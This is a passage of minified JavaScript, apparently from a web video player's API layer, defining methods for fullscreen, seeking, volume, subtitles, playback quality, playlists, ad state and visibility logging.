var T=this.app.Y();if(T.externalFullscreen){if(!g.K1(T))return this.isFullscreen()?MO(window.document.documentElement):lj(window.document.documentElement).catch(x)}else if(g.mW()||T.J)return this.isFullscreen()?MO(dx()):T.controlsType!=="3"&&g.mW()?lj(this.app.bG().element).catch(x):(T=this.app.Bt().yA())?lj(T).catch(x):Promise.reject(Error("Media element missing"));this.gN("onFullscreenToggled",this.isFullscreen());return Promise.resolve(void 0)};
g.q.isFullscreen=function(){return this.app.isFullscreen()};
g.q.s9=function(){return this.app.s9()};
g.q.cancelPlayback=function(){var x=g_(this.app.xm());x&&x.created&&x.destroy();(x=this.app.VU())&&x.stopVideo();(x=this.app.xm().uD.get("endscreen"))&&x.wvW()&&g.rh(this.app.qj,!0)};
g.q.getProgressState=function(x){if(this.uS()===3)return zt(this.app.xm()).getProgressState();var T=this.app.getVideoData(),t=this.app.pz(x)||this.app.VU(),u=t.getPlayerType();a:{var H=this.app.getVideoData();var I;if((I=H.progressBarStartPosition)==null?0:I.utcTimeMillis)if(H=Number(H.progressBarStartPosition.utcTimeMillis)/1E3,!isNaN(H)){H=R9(this,H,x);break a}H=0}var E;a:{I=this.app.getVideoData();if((E=I.progressBarEndPosition)==null?0:E.utcTimeMillis)if(E=Number(I.progressBarEndPosition.utcTimeMillis)/
1E3,!isNaN(E)){E=R9(this,E,x);break a}E=0}I=this.getCurrentTime(x);x=this.getDuration(x);var Z=this.app.p4(u),e=this.app.isAtLiveHead(u),l=this.app.Mp();var m=this.app;var d=m.pz(u);d?(d=YR(m,d),m=GD(m,d.Xx(),d)):m=m.UY.C.Xx();d=F2X(this.app,u);t=t.Pk();var M=this.app.getVideoData().VQ;u=!M||isNaN(M)?0:R9(this,M,u);return{airingStart:H,airingEnd:E,allowSeeking:this.app.hp(),clipEnd:T.clipEnd,clipStart:T.clipStart,current:I,displayedStart:-1,duration:x,ingestionTime:Z,isAtLiveHead:e,loaded:l,seekableStart:m,
seekableEnd:d,offset:t,viewerLivestreamJoinMediaTime:u}};
g.q.isInline=function(){return this.app.isInline()};
g.q.setInline=function(x){this.app.setInline(x)};
g.q.td=function(){return this.app.j8().K2(!0)};
g.q.toggleSubtitles=function(){var x=g.Lb(this.app.xm());x&&x.Bdf()};
g.q.getPlayerSize=function(){var x=this.app.bG().getPlayerSize();return{width:x.width,height:x.height}};
g.q.setCenterCrop=function(x){this.app.bG().setCenterCrop(x)};
g.q.getLoopVideo=function(){return this.app.getLoopVideo()};
g.q.setLoopVideo=function(x){this.app.setLoopVideo(x)};
var hi5="BASE_URL BASE_YT_URL adformat adaptive_fmts allow_embed audio_only authuser autoplay cc_load_policy cpn dash dashmpd disable_native_context_menu disablekb docid el enable_faster_speeds enablecastapi end eventid external_fullscreen fmt_list hl hlsdvr hlsvp iurl iurlhq iurlmq length_seconds live_playback osig override_hl partnerid pause_at_start pipable player_response playsinline plid post_live_playback postid ps public qoe_cat raw_player_response rel show_loop_video_toggle start startSeconds status suggestedQuality timestamp title token ttsurl use_native_controls url_encoded_fmt_stream_map video_id videoId".split(" "),
GzD="adformat allow_embed authuser autohide autonav autoplay c cbr cbrver cc_load_policy controls cos cosver cr csi_page_type cver cyc dash dashmpd disablekb el enablecastapi enablecsi end external_fullscreen external_list fs hl host_language innertube_api_key innertube_api_version innertube_context_client_version iurl iurlhq iurlmq iv_load_policy jsapicallback length_seconds live_playback live_storyboard_spec loaderUrl osig override_hl pageid partnerid pipable player_params player_wide playsinline plid postid profile_picture ps rel show_miniplayer_button showinfo showwatchlater start startSeconds status storyboard_spec suggestedQuality timestamp title tkn token transparent_background ucid url_encoded_fmt_stream_map use_miniplayer_ui use_native_controls videoId video_id vss_host watermark".split(" ");var Ih={},LkV=(Ih["api.invalidparam"]=2,Ih.auth=150,Ih["drm.auth"]=150,Ih["heartbeat.net"]=150,Ih["heartbeat.servererror"]=150,Ih["heartbeat.stop"]=150,Ih["html5.unsupportedads"]=5,Ih["fmt.noneavailable"]=5,Ih["fmt.decode"]=5,Ih["fmt.unplayable"]=5,Ih["html5.missingapi"]=5,Ih["html5.unsupportedlive"]=5,Ih["drm.unavailable"]=5,Ih["mrm.blocked"]=151,Ih["embedder.identity.denied"]=152,Ih);g.P(g.PF,Mw);g.q=g.PF.prototype;g.q.isExternalMethodAvailable=function(x,T){return this.state.N[x]?!0:!!(this.state.J[x]&&T&&wi(T,Sdy))};
g.q.getBandwidthEstimate=function(){return Si(this.app.Y().schedule)};
g.q.reportPlaybackIssue=function(x){x=x===void 0?"":x;var T=this.app.VU();T&&(x={gpu:(0,g.Vn)(),d:x},T.handleError(new r4("feedback",x)))};
g.q.getInternalApi=function(){return Object.assign({},this.state.C)};
g.q.getInternalApiInterface=function(){return g.YO(this.state.C)};
g.q.queueNextVideo=function(x,T,t,u,H){t=t===void 0?NaN:t;this.app.queueNextVideo(x,T,t,u===void 0?"":u,H===void 0?"":H)};
g.q.gF=function(x){x=this.app.getPlayerStateObject(x);return{isBuffering:g.p(x,1),isCued:x.isCued(),isDomPaused:g.p(x,1024),isEnded:g.p(x,2),isError:g.p(x,128),isOrWillBePlaying:x.isOrWillBePlaying(),isPaused:x.isPaused(),isPlaying:x.isPlaying(),isSeeking:g.p(x,16),isUiSeeking:g.p(x,32),isUnstarted:g.p(x,64)}};
g.q.createSubtitlesModuleIfNeeded=function(){return this.app.createSubtitlesModuleIfNeeded()};
g.q.startSeekCsiAction=function(){this.app.Vs().K.C=(0,g.bo)()};
g.q.yB=function(x,T,t){return this.getCurrentTime(x===void 0?1:x,T,t)};
g.q.seekToStreamTime=function(x,T,t,u){var H=this.app;T=T===void 0?!0:T;var I=H.pz(1),E=0;I&&I.getStreamTimeOffset()&&!I.Pk()&&(E=I.getStreamTimeOffset());yN(H,x-E,T,t,1,u)};
g.q.getStreamTimeOffset=function(){return this.app.j8().getStreamTimeOffset()};
g.q.seekToLiveHead=function(x,T){var t=this.app.j8().getVideoData();t&&t.isLivePlayback&&yN(this.app,Infinity,x,T,1)};
g.q.requestSeekToWallTimeSeconds=function(x,T){this.app.j8().df(x,T)};
g.q.ciY=function(x,T,t,u,H){this.seekTo(x,T,t,u===void 0?1:u,H)};
g.q.ggZ=function(x,T,t,u){this.seekBy(x,T,t,u,1)};
g.q.setVolume=function(x,T){this.Q1(x,T===void 0?!0:T)};
g.q.mute=function(x){this.FL(x===void 0?!0:x)};
g.q.unMute=function(x){this.Xj(x===void 0?!0:x)};
g.q.syncVolume=function(){var x=$hD(this.app);vm(this.app,{volume:x.volume,muted:x.muted},!1)};
g.q.getAvailableQualityLabels=function(){return g.r7(this.app.j8().IX(),function(x){return x.qualityLabel})};
g.q.channelSubscribed=function(){this.XW("SUBSCRIBE",this.app.Wk().dP)};
g.q.channelUnsubscribed=function(){this.XW("UNSUBSCRIBE",this.app.Wk().dP)};
g.q.setScreenLayer=function(x){this.app.setScreenLayer(x)};
g.q.getCurrentPlaylistSequence=function(){return this.app.VU().getPlaylistSequenceForTime(this.app.getCurrentTime())};
g.q.getPlaylistSequenceForTime=function(x){return this.app.VU().getPlaylistSequenceForTime(x)};
g.q.shouldSendVisibilityState=function(){return!0};
g.q.confirmYpcRental=function(){this.app.j8().Do("ypc_clickwrap")};
g.q.setHomeGroupInfo=function(x){this.app.Y().homeGroupInfo=x};
g.q.setConnectedRemoteApps=function(x){this.app.Y().GC=x};
g.q.setLivingRoomAppMode=function(x){this.app.Y().livingRoomAppMode=tt("LIVING_ROOM_APP_MODE_UNSPECIFIED",x,TLH)};
g.q.setEnablePrivacyFilter=function(x){this.app.Y().enablePrivacyFilter=x===void 0?!1:x};
g.q.togglePictureInPicture=function(){this.app.togglePictureInPicture()};
g.q.addUtcCueRange=function(x,T,t,u,H){return NAq(this.app,x,T,t,u,H)};
g.q.VB=function(x){x=x===void 0?1:x;var T=this.vP(x);if(x=this.app.pz(x)){x=x.getVideoData();T.hasProgressBarBoundaries=x.hasProgressBarBoundaries();T.isPremiere=x.isPremiere;T.itct=x.Om;T.playerResponseCpn=x.playerResponseCpn;var t;var u=x.hasProgressBarBoundaries()&&((t=x.progressBarStartPosition)==null?0:t.utcTimeMillis)?xO(x.progressBarStartPosition.utcTimeMillis):null;T.progressBarStartPositionUtcTimeMillis=u;var H;t=x.hasProgressBarBoundaries()&&((H=x.progressBarEndPosition)==null?0:H.utcTimeMillis)?
xO(x.progressBarEndPosition.utcTimeMillis):null;T.progressBarEndPositionUtcTimeMillis=t;T.ypcOriginalItct=x.wS;T.ypcPreview=x.ypcPreview;T.paidContentOverlayText=J45(x);T.paidContentOverlayDurationMs=CCv(x);x.C&&jR(x.C)&&(T.usingLocalMedia="true");T.transitionEndpointAtEndOfStream=x.transitionEndpointAtEndOfStream}return T};
g.q.getAdState=function(){return this.app.getAdState()};
g.q.isNotServable=function(x){if(x!==this.app.config.args.video_id)return!1;var T=(x=this.app.j8().getPlayerState())?x.Eo:null;return!!(x&&T&&g.p(x,128)&&nsi(T.errorCode)===5)};
g.q.supportsGaplessAudio=function(){return this.app.Y().supportsGaplessAudio()};
g.q.supportsGaplessShorts=function(){return this.app.Y().supportsGaplessShorts()};
g.q.enqueueVideoByPlayerVars=function(x,T,t,u){t=t===void 0?Infinity:t;this.app.enqueueVideoByPlayerVars(x,T,t,u===void 0?"":u)};
g.q.clearQueue=function(){this.app.clearQueue()};
g.q.gV=function(){return g.lh(this)};
g.q.sendAbandonmentPing=function(){var x;(x=this.app.VU())==null||x.sendAbandonmentPing()};
g.q.setAutonavState=function(x,T){T=T===void 0?!1:T;if(this.B("web_player_autonav_use_server_provided_state")&&!T&&(T=this.app.Wk(),T==null?0:w0(T))){if(this.B("web_player_autonav_server_provided_state_pause_killswitch"))return;if(x===3)T.autonavState!==3&&(T.CJ=T.autonavState);else if(T.CJ!==void 0)x=T.CJ,T.CJ=void 0;else return}K2m(this.app,x)};
g.q.setAutonav=function(x,T){this.setAutonavState(x?2:1,T===void 0?!1:T)};
g.q.setLoopRange=function(x){this.app.setLoopRange(x)};
g.q.getLoopRange=function(){return this.app.getLoopRange()};
g.q.hasSupportedAudio51Tracks=function(){return this.app.j8().hasSupportedAudio51Tracks()};
g.q.setUserAudio51Preference=function(x,T){this.app.j8().setUserAudio51Preference(x,T===void 0?!1:T)};
g.q.getUserAudio51Preference=function(){return this.app.j8().getUserAudio51Preference()};
g.q.setProximaLatencyPreference=function(x){this.app.j8().setProximaLatencyPreference(x)};
g.q.getProximaLatencyPreference=function(){return this.app.j8().getProximaLatencyPreference()};
g.q.isProximaLatencyEligible=function(){return this.app.j8().isProximaLatencyEligible()};
g.q.getAppState=function(){return this.app.getAppState()};
g.q.updateLastActiveTime=function(){cz()};
g.q.setBlackout=function(x){this.app.setBlackout(x)};
g.q.setUserEngagement=function(x){this.app.Y().Pm!==x&&(this.app.Y().Pm=x,this.app.j8().h6())};
g.q.updateSubtitlesUserSettings=function(x,T){T=T===void 0?!0:T;g.Lb(this.app.xm()).MH(x,T)};
g.q.getCaptionWindowContainerId=function(){var x=g.Lb(this.app.xm());return x?x.getCaptionWindowContainerId():""};
g.q.toggleSubtitlesOn=function(){var x=g.Lb(this.app.xm());x&&x.iE()};
g.q.isSubtitlesOn=function(){var x=g.Lb(this.app.xm());return x?x.isSubtitlesOn():!1};
g.q.getPlayerResponse=function(x){return(x=this.app.pz(x))?x.getVideoData().getPlayerResponse():null};
g.q.n9=function(){return this.getPlayerResponse(1)};
g.q.getEmbeddedPlayerResponse=function(){return this.app.j8().getVideoData().getEmbeddedPlayerResponse()};
g.q.getWatchNextResponse=function(x){return(x=this.app.pz(x))?x.getVideoData().getWatchNextResponse():null};
g.q.p9=function(){return this.getWatchNextResponse(1)};
g.q.getHeartbeatResponse=function(x){return(x=this.app.pz(x))?x.getVideoData().getHeartbeatResponse():null};
g.q.hd=function(){return this.getHeartbeatResponse(1)};
g.q.getStoryboardFrame=function(x,T){var t=this.app.ul();if(!t)return null;T=t.levels[T];return T?(x=g.aX(T,x))?{column:x.column,columns:x.columns,height:x.bQ,row:x.row,rows:x.rows,url:x.url,width:x.bW}:null:null};
g.q.getStoryboardFrameIndex=function(x,T){var t=this.app.ul();if(!t)return-1;T=t.levels[T];if(!T)return-1;x-=this.Pk();return T.AB(x)};
g.q.getStoryboardLevel=function(x){var T=this.app.ul();return T?(T=T.levels[x])?{index:x,intervalMs:T.C,maxFrameIndex:T.Nd(),minFrameIndex:T.YE()}:null:null};
g.q.getNumberOfStoryboardLevels=function(){var x=this.app.ul();return x?x.levels.length:0};
g.q.L9=function(){return this.getAudioTrack(1)};
g.q.getAudioTrack=function(x){return(x=this.app.pz(x))?x.getAudioTrack():this.app.getVideoData().Sd};
g.q.setAudioTrack=function(x,T,t){this.uS()===3&&zt(this.app.xm()).zK("control_set_audio_track",x);return(t=this.app.pz(t))?t.UZ(x,T):!1};
g.q.wU7=function(x,T){return this.setAudioTrack(x,T,1)};
g.q.UM=function(){return this.getAvailableAudioTracks(1)};
g.q.getAvailableAudioTracks=function(x){return this.app.pz(x).getAvailableAudioTracks()};
g.q.getMaxPlaybackQuality=function(){var x=this.app.j8();return x.getVideoData().Z?Ir(x.hG()):"unknown"};
g.q.getUserPlaybackQualityPreference=function(){return this.app.j8().getUserPlaybackQualityPreference()};
g.q.getSubtitlesUserSettings=function(){var x=g.Lb(this.app.xm());return x?x.Ad():null};
g.q.resetSubtitlesUserSettings=function(){g.Lb(this.app.xm()).yif()};
g.q.setMinimized=function(x){this.app.setMinimized(x)};
g.q.setOverlayVisibility=function(x){this.publish("overlayvisibilitychange",x)};
g.q.setInlinePreview=function(x){this.app.setInlinePreview(x)};
g.q.setSqueezeback=function(x){this.app.setSqueezeback(x)};
g.q.setGlobalCrop=function(x){this.app.bG().setGlobalCrop(x)};
g.q.setAppFullscreen=function(x){this.app.bM(x?4:0)};
g.q.BE=function(){return this.app.BE()};
g.q.getVisibilityState=function(){return this.BE().getVisibilityState(this.D$(),this.s9()||g.VZ(this.app.Y()),this.isMinimized(),this.isInline(),this.app.cE(),this.app.Kc(),this.app.lF(),this.app.Mb())};
g.q.isMutedByMutedAutoplay=function(){return this.app.mj};
g.q.isMutedByEmbedsMutedAutoplay=function(){return me(this.app)};
g.q.setInternalSize=function(x,T){this.app.bG().setInternalSize(new g.lu(x,T))};
g.q.Pk=function(){var x=this.app.pz();return x?x.Pk():0};
g.q.isMinimized=function(){return this.app.isMinimized()};
g.q.cE=function(){return this.app.cE()};
g.q.D$=function(){var x=this.app.VU();return!!x&&x.D$()};
g.q.setSafetyMode=function(x){this.app.Y().enableSafetyMode=x};
g.q.canPlayType=function(x){return this.app.canPlayType(x)};
g.q.updatePlaylist=function(x){if(x){var T=this.getPlaylistId(),t=!1;T&&T!==x.list&&(t=!0);x.external_list!==void 0&&(this.app.fU=ox(!1,x.external_list));var u=x.video;(T=this.app.getPlaylist())&&!t?this.isFullscreen()&&((t=u[T.index])&&t.encrypted_id!==g.YM(T).videoId||(x.index=T.index)):zD(this.app,{list:x.list,index:x.index,playlist_length:u.length});Z_V(this.app.getPlaylist(),x);this.jD("onPlaylistUpdate")}else this.app.updatePlaylist()};
g.q.updateVideoData=function(x,T){g.Qv(this.app.j8().getVideoData(),x,T)};
g.q.updateEnvironmentData=function(x){W_(this.app.Y(),x,!1)};
g.q.Aiy=function(x){this.app.sendVideoStatsEngageEvent(x,1)};
g.q.productsInVideoVisibilityUpdated=function(x){this.publish("changeProductsInVideoVisibility",x)};
g.q.isAtLiveHead=function(x,T){return this.app.isAtLiveHead(x,T===void 0?!0:T)};
g.q.getVideoAspectRatio=function(){return this.app.bG().getVideoAspectRatio()};
g.q.getPreferredQuality=function(){var x=this.app.VU();return x?x.getPreferredQuality():"unknown"};
g.q.getPlaybackQualityLabel=function(x){if(x=this.app.pz(x)){var T,t;return((t=(T=x.getVideoData().Z)==null?void 0:T.video)==null?void 0:t.qualityLabel)||""}return""};
g.q.setPlaybackQualityRange=function(x,T,t,u){(u=this.app.pz(u))&&u.Ow(g.uG(x,T||x,!0,"m"),!0,t)};
g.q.pUU=function(x,T,t){this.setPlaybackQualityRange(x,T,t,1)};
g.q.onAdUxClicked=function(x,T){this.publish("aduxclicked",x,T)};
g.q.showAirplayPicker=function(){this.app.showAirplayPicker()};
g.q.dispatchReduxAction=function(x){g.TT.dispatch(x)};
g.q.highlightSettingsMenuItem=function(x){this.publish("highlightSettingsMenu",x)};
g.q.openSettingsMenuItem=function(x){this.publish("openSettingsMenuItem",x)};
g.q.yH=function(x,T){this.state.Z.subscribe(x,T)};
g.q.dfc=function(x,T){this.state.Z.unsubscribe(x,T)};
g.q.jR=function(x,T){this.cueVideoByPlayerVars(x,T===void 0?1:T)};
g.q.kIf=function(x,T,t,u){this.loadVideoByPlayerVars(x,T,t===void 0?1:t,u)};
g.q.JRZ=function(x,T,t,u){this.preloadVideoByPlayerVars(x,T===void 0?1:T,t,u)};
g.q.getFeedbackProductData=function(){return this.app.getFeedbackProductData()};
g.q.ew=function(){return g.lh(this).ew()};
g.q.zV=function(){return g.lh(this).zV()};
g.q.mZ=function(){return g.lh(this).mZ()};
g.q.lD=function(){return this.gV().lD()};
g.q.On=function(){var x=g.FD.apply(0,arguments),T;(T=this.lD()).On.apply(T,g.U(x))};
g.q.Kd=function(){this.lD().Kd()};
g.q.Xq=function(){this.lD().Xq()};
g.q.P_=function(){this.lD().hide()};
g.q.g7=function(x,T,t,u,H,I,E,Z){this.lD().g7(x,T,t,u,H,I,E,Z)};
g.q.Dq=function(x,T){this.lD().Dq(x,T)};
g.q.hf=function(x,T,t,u,H){this.gV().hf(x,T,t,u,H)};
g.q.l7=function(x){this.lD().setEnabled(x)};
g.q.YB=function(x,T){this.gV().YB(x,T)};
g.q.Pb=function(x,T){this.gV().Pb(x,T)};
g.q.l8=function(x,T){this.gV().l8(x,T)};
g.q.dG=function(){this.gV().dG()};
g.q.l_=function(x,T){this.gV().l_(x,T)};
g.q.BI=oV(4);g.q.cI=oV(6);g.q.P7=oV(9);g.q.xq=oV(12);g.q.renderChapterSeekingAnimation=function(x,T,t){this.gV().renderChapterSeekingAnimation(x,T,t)};
g.q.e3=function(){this.gV().e3()};
g.q.getWebPlayerContextConfig=function(){return this.app.Y().getWebPlayerContextConfig()};
g.q.notifyShortsAdSwipeEvent=function(){this.publish("shortsadswipe")};
g.q.nT=function(){var x=this.app.VU();return x?x.nT():""};g.P(g.UT,g.PF);g.q=g.UT.prototype;g.q.J8=function(x,T,t,u,H,I,E){return this.app.J8(x,T,t,u,H,I,E)};
g.q.N5=function(){return this.app.N5()};
g.q.ZJ=oV(14);g.q.xm=function(){return this.app.xm()};
g.q.bD=function(){var x=this.xm().uD.get("endscreen");return!!x&&x.bD()};
g.q.getRootNode=function(){return this.bG().element};
g.q.Y=function(){return this.app.Y()};
g.q.uw=oV(17);g.q.qm=function(x){return this.app.qm(x)};
g.q.cw=function(){var x;return((x=g.lh(this))==null?void 0:x.cw())||null};
g.q.kT=function(){var x;return(x=this.app.VU())==null?void 0:x.kT()};
g.q.getPlayerStateObject=function(x){return this.app.getPlayerStateObject(x)};
g.q.bG=function(){return this.app.bG()};
g.q.getPlaylist=function(){return this.app.getPlaylist()};
g.q.getVideoData=function(x,T){T=T===void 0?!1:T;var t=this.app.pz(x);if(!t)return null;t=t.getVideoData();if(T)var u=t;else if(t.enableServerStitchedDai&&x===2||g.pB(t)&&x!==1)a:{t=this.app;T=t.getVideoData();if(t.vt){x=t.vt;t=t.getCurrentTime();if(x.DN)var H=void 0;else{var I=void 0;x.Oe&&(I=x.j.get(x.Oe));if(!I){I=fT4(x,t*1E3);var E=(H=I)==null?void 0:H.cpn;x.Oe?E&&x.Oe!==E&&x.Kz({cpcnm:E+"_"+x.Oe,cmt:t.toFixed(3)}):x.Kz({cpcna:E,cmt:t.toFixed(3)})}H=(u=I)==null?void 0:u.videoData}T=H||T}else if(t.zI&&
t.VU()){u=t.zI.getVideoData(x);break a}u=T}else u=t;return u};
g.q.oe=function(){var x;return((x=this.app.VU())==null?void 0:x.oe())||null};
g.q.ul=function(x){return this.app.ul(x)};
g.q.Mb=function(){return this.app.Mb()};
g.q.isHdr=function(){var x=this.app.VU();return x?x.isHdr():!1};
g.q.IN=function(){return this.app.IN()};
g.q.isEmbedsShortsMode=function(){var x=g.lh(this),T=this.getVideoData();x=x?x.AO:this.getPlayerSize();var t=!!this.getPlaylist();return!(!T||!T.isEmbedsShortsMode(new g.lu(x.width,x.height),t))};
g.q.qF=function(x){this.app.qF(x)};
g.q.V9=function(x,T,t,u,H){this.app.uf(x,T,t,u,H)};
g.q.H7=function(x,T){this.app.H7(x,T)};
g.q.playVideo=function(x,T){try{if(this.getPresentingPlayerType()===3){zt(this.app.xm()).zK("control_play");return}if(!x&&this.getPresentingPlayerType()===2){var t=g_(this.app.xm());if(t&&LTi(t))return}}catch(u){g.vW(u)}this.app.playVideo(x,T)};
g.q.stopVideo=function(x){this.app.pz(x).stopVideo()};
g.q.iM=function(x){this.app.pz(x).iM()};
g.q.addEventListener=function(x,T){this.state.j.subscribe(x,T)};
g.q.removeEventListener=function(x,T){this.state.j.unsubscribe(x,T)};
g.q.wW=function(x){this.app.wW(x)};
g.q.setPlaybackQuality=function(x,T){this.setPlaybackQualityRange(x,x,T)};
g.q.IX=function(){var x={},T=this.app.VU().IX();T=g.S(T);for(var t=T.next();!t.done;t=T.next())t=t.value,x[t.quality]=t;return x};
g.q.Xk=function(){return this.app.VU().Xk()};
g.q.o9=oV(22);g.q.b5=function(x){this.app.b5(x);x&&K2m(this.app,x)};
g.q.getVideoUrl=function(x,T,t,u){var H=this.getPresentingPlayerType(),I=H===2;if(u&&I||H===3)I=!1,H=1;u=this.getVideoData(H);if(!u)return"";var E;x||u.isLivePlayback||(E=Math.floor(this.getCurrentTime(H)));x=I?void 0:this.getPlaylistId()||void 0;T&&x==="WL"&&(x=void 0);return this.app.getVideoUrl(u.videoId,x,E,T,t)};
g.q.SN=oV(24);g.q.qb=oV(29);g.q.Sb=function(x){var T;(T=this.app.VU())==null||T.Sb(x)};
g.q.XY=oV(34);g.q.YL=oV(39);g.q.M8=function(x,T){this.xm().M8(x,T)};
g.q.oF=function(){var x=g.Ds(this.xm());return!!x&&x.oF()};
g.q.oX=function(){var x=g.Ds(this.xm());return!!x&&x.oX()};
g.q.nH=function(x,T,t){var u=g.Ds(this.xm());u&&u.nH(x,T,t)};
g.q.fH=oV(40);g.q.sL=function(){var x;(x=this.app.VU())!=null&&x.Em.sL()};
g.q.Pe=function(x){this.jD("onVideoAreaChange");this.jD(x?"onShowControls":"onHideControls")};
g.q.Ny=function(x,T){var t=g.lh(this);if(t)return t.Ny(x,T);x=this.app.bG().xL();return new g.Hf(0,0,x.width,x.height)};
g.q.MS=function(){var x=this.xm().uD.get("heartbeat");return!!x&&x.MS()};
g.q.hp=function(){var x=this.Y();if(x.QU||x.disableSeek)return!1;var T=this.app.VU();if(!T)return!1;var t=T.getVideoData();if(!t.eD()||g.rb(t)||this.getPresentingPlayerType()===2&&!this.app.CC()||t.Ty()&&this.getPresentingPlayerType(!0)===2||T.A7()&&this.getPresentingPlayerType()!==3)return!1;x=g.aQ(x);return g.Ix(x)&&!t.yw||me(this.app)?!1:!0};
g.q.Dh=function(){var x=this.app.VU();return x?x.Kr():!1};
g.q.isLifaAdPlaying=function(){var x,T=(x=this.getVideoData())==null?void 0:x.Ty();return T?this.getPresentingPlayerType(T)===2:!1};
g.q.isOrchestrationLeader=function(){return this.app.isOrchestrationLeader()};
g.q.DS=function(){var x;(x=this.app.VU())==null||x.DS()};
g.q.sendVideoStatsEngageEvent=function(x,T,t){this.app.sendVideoStatsEngageEvent(x,t,T)};
g.q.oi=function(x,T,t){this.app.GT(x,T,t)};
g.q.YX=function(x,T){this.app.YR(x,T)};
g.q.Xa=function(x,T){hAf(this.app,x,T)};
g.q.HY=oV(43);g.q.TT=function(x){return this.app.TT(x)};
g.q.Do=function(x,T){var t;(t=this.app.pz(T))==null||t.Do(x)};
g.q.A7=function(){var x=this.app.pz();return x?x.A7():!0};
g.q.uQ=function(){var x=this.getVideoData();return!!x&&(x.uQ()||!!x.hlsFormats||!!x.Jq)};
g.q.getPlaybackRate=function(){return this.app.j8().getPlaybackRate()};
g.q.setPlaybackRate=function(x,T){this.app.setPlaybackRate(x,T)};
g.q.Bt=function(){return this.app.Bt()};
g.q.Vs=function(){return this.app.Vs()};
g.q.Jp=function(x){return this.app.Jp(x)};
g.q.createClientVe=function(x,T,t,u){this.Y().AQ&&this.app.DU.createClientVe(x,T,t,u===void 0?!1:u)};
g.q.createServerVe=function(x,T,t){this.Y().AQ&&this.app.DU.createServerVe(x,T,t===void 0?!1:t)};
g.q.setTrackingParams=function(x,T){this.Y().AQ&&this.app.DU.setTrackingParams(x,T)};
g.q.logClick=function(x,T){this.Y().AQ&&(this.app.DU.click(x,T),this.publish("veClickLogged",x))};
g.q.logVisibility=function(x,T,t){this.Y().AQ&&this.app.DU.ou(x,T,t)};
g.q.hasVe=function(x){return this.Y().AQ?this.app.DU.hasVe(x):!1};
g.q.destroyVe=function(x){this.Y().AQ&&this.app.DU.destroyVe(x)};
g.q.getPresentingPlayerType=function(x){return this.app.getPresentingPlayerType(x)};
g.q.sR=function(){this.app.sR()};
g.q.XJ=oV(45);g.q.yp=function(x){this.app.yp(x)};
g.q.q8=function(){this.app.q8()};
g.q.US=function(){return this.app.US()};
g.q.addPlayerResponseForAssociation=function(x){this.app.addPlayerResponseForAssociation(x)};
g.q.finishSegmentByCpn=function(x,T,t){return this.app.finishSegmentByCpn(x,T,t)};
g.q.nJ=function(x,T,t,u,H,I,E){return this.app.nJ(x,T,t,u,H,I,E)};
g.q.Ov=function(x,T,t,u,H,I,E){return this.app.Ov(x,T,t,u,H,I,E)};
g.q.Lc=function(){return this.app.Lc()};
g.q.vY=function(x){this.app.vY(x)};
g.q.iH=function(x,T){T=T===void 0?Infinity:T;this.app.iH(x===void 0?-1:x,T)};
g.q.SO=function(x){var T;(T=g.Lb(this.xm()))==null||T.SO(x)};
g.q.XH=function(x,T,t){this.app.XH(x,T,t)};
g.q.Bm=function(){return this.app.Bm()};
g.q.GL=function(x,T,t){this.app.GL(x,T,t===void 0?0:t)};
g.q.d_=function(){return this.app.d_()};
g.q.CC=function(){return this.app.CC()};
g.q.qX=function(x,T,t){return this.app.qX(x,T,t)};
g.q.kc=function(x,T,t,u){t=t===void 0?!1:t;var H;(H=this.app.pz(u))==null||H.kc(x,T,t)};
g.q.x9=function(x,T){this.publish("aduxmouseover",x,T)};
g.q.u$=function(x,T){this.publish("aduxmouseout",x,T)};
g.q.tL=function(x,T){this.publish("muteadaccepted",x,T)};
g.q.PJ=function(){return this.app.bG().PJ()};
g.q.Qp=function(x){this.app.bG().Qp(x)};
g.q.Rq=function(x){return x?this.app.w0():(x=this.app.VU())?x.Rq():!1};
g.q.yk=function(x){this.app.yk(x)};
g.q.G2=function(){this.app.j8().G2()};
g.q.cV=function(){var x;(x=this.app.VU())==null||x.cV()};
g.q.SJ=function(){this.app.SJ()};
g.q.getGetAdBreakContext=function(){var x=this.app.j8();return x.getVideoData().getGetAdBreakContext(x.getCurrentTime(),x.Pk())};
g.q.FU=function(x,T){var t;(t=this.app.VU())==null||t.FU(x,T)};
g.q.Rl=function(){var x;return((x=this.app.VU())==null?void 0:x.Rl())||!1};var nW;g.P(LW,ax);LW.prototype.Fx=function(x,T){x=ax.prototype.Fx.call(this,x,T);return Object.assign({},x,this.requestHeaders)};g.P(g.BF,g.qS);g.q=g.BF.prototype;g.q.show=function(){var x=this.rE();g.qS.prototype.show.call(this);this.Hv&&(this.J.V(window,"blur",this.nz),this.J.V(WF(this),"click",this.pP));x||this.publish("show",!0)};
g.q.hide=function(){var x=this.rE();g.qS.prototype.hide.call(this);DTq(this);x&&this.publish("show",!1)};
g.q.tq=function(x,T){this.Z=x;this.ZZ.show();T?(this.S||(this.S=this.J.V(this.U,"appresize",this.SW)),this.SW()):this.S&&(this.J.f2(this.S),this.S=void 0)};
g.q.DA=function(){this.Z&&this.element&&(this.Z.getAttribute("aria-haspopup"),this.Z.setAttribute("aria-expanded","true"),this.focus())};
g.q.SW=function(){var x=g.lh(this.U);this.Z&&x.hf(this.element,this.Z)};
g.q.nz=function(){var x=this.rE();DTq(this);this.ZZ.hide();x&&this.publish("show",!1)};
g.q.pP=function(x){var T=Yi(x);T&&(g.ux(this.element,T)||this.Z&&g.ux(this.Z,T)||!g.cu(x))||this.nz()};
g.q.rE=function(){return this.lN&&this.ZZ.state!==4};g.P(y$,g.BF);y$.prototype.tq=function(){g.BF.prototype.tq.call(this);this.dialog.focus()};g.P(g.JW,g.qS);g.JW.prototype.setIcon=function(x){this.updateValue("icon",x)};
g.JW.prototype.updateValue=function(x,T){g.qS.prototype.updateValue.call(this,x,T);this.publish("size-change")};g.iL={iz:15,kPy:14,Bof:13,p6:12,E8:11,kS:10,L1:9,Xy:8,AUDIO:7,SUBTITLES:6,SLEEP_TIMER:5,SM:4,Wn:3,sJW:2,REMOTE:1,wE7:0,15:"STABLE_VOLUME",14:"REMOTE_SELECT",13:"SIZE",12:"MINIPLAYER",11:"THREED",10:"AUTONAV",9:"CINEMATIC",8:"ANNOTATIONS",7:"AUDIO",6:"SUBTITLES",5:"SLEEP_TIMER",4:"SPEED",3:"QUALITY",2:"LINKEDACCOUNT",1:"REMOTE",0:"CONTEXTMENU"};g.P(Q$,g.JW);Q$.prototype.JM=function(x){this.Z&&this.U.logVisibility(this.element,this.C&&x)};
